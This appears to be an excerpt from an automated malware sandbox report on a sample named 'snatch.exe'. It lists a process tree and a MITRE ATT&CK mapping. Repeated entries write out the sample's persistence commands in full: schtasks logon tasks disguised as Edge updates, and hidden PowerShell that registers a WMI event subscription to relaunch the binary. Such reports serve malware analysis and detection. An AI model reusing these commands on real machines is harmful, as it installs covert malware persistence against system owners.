  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\hrfm3bi0jj\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:11120

C:\Windows\System32\hrfm3bi0jj\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\hrfm3bi0jj\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:6124
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-wsh5ob1vs9 /tr C:\Windows\System32\ou5uxu53av\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:10256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\ou5uxu53av\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  PID:9968

C:\Windows\System32\ou5uxu53av\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\ou5uxu53av\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:10556
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-mcdw5ekg37 /tr C:\Windows\System32\0cjwl0hszk\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:7336
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\0cjwl0hszk\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:10676

C:\Windows\System32\0cjwl0hszk\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\0cjwl0hszk\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:2524
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-wprk2isu0m /tr C:\Windows\System32\20dsw2cteo\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:10904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\20dsw2cteo\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:10936

C:\Windows\System32\20dsw2cteo\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\20dsw2cteo\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:7964
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-cz23xyyehn /tr C:\Windows\System32\qk2391yslx\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:4384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\qk2391yslx\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:10468

C:\Windows\System32\qk2391yslx\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\qk2391yslx\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:8304
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-i1wznvt873 /tr C:\Windows\System32\g44190suip\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:10904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\g44190suip\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:11108

C:\Windows\System32\g44190suip\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\g44190suip\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:11144
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-uhnytkxr23 /tr C:\Windows\System32\ksaydzolm1\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2352
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\ksaydzolm1\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5092

C:\Windows\System32\ksaydzolm1\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\ksaydzolm1\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:5656
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-amtbhpiuxb /tr C:\Windows\System32\88luvrjw9t\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\88luvrjw9t\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6896

C:\Windows\System32\88luvrjw9t\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\88luvrjw9t\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:10680
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-eu3naweuf8 /tr C:\Windows\System32\mrs1vso670\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\mrs1vso670\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6032

C:\Windows\System32\mrs1vso670\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\mrs1vso670\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:4252
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-geyursixtc /tr C:\Windows\System32\sf7imzjvmj\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:5516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\sf7imzjvmj\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8936

C:\Windows\System32\sf7imzjvmj\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\sf7imzjvmj\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:8716
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-dwgbuvhzip /tr C:\Windows\System32\1iv7cz6p6y\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:4696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\1iv7cz6p6y\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5796

C:\Windows\System32\1iv7cz6p6y\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\1iv7cz6p6y\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:5092
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-0901qno1pp /tr C:\Windows\System32\wx7celqkrr\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:3244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\wx7celqkrr\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  PID:1088

C:\Windows\System32\wx7celqkrr\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\wx7celqkrr\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:8764
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-px64ha88z0 /tr C:\Windows\System32\oiptin1fzy\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:9196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\oiptin1fzy\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8824

C:\Windows\System32\oiptin1fzy\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\oiptin1fzy\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:7064
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-e3ax403o0z /tr C:\Windows\System32\13nxv2fq1e\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:9916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\13nxv2fq1e\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  PID:7784

C:\Windows\System32\13nxv2fq1e\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\13nxv2fq1e\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:7612

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact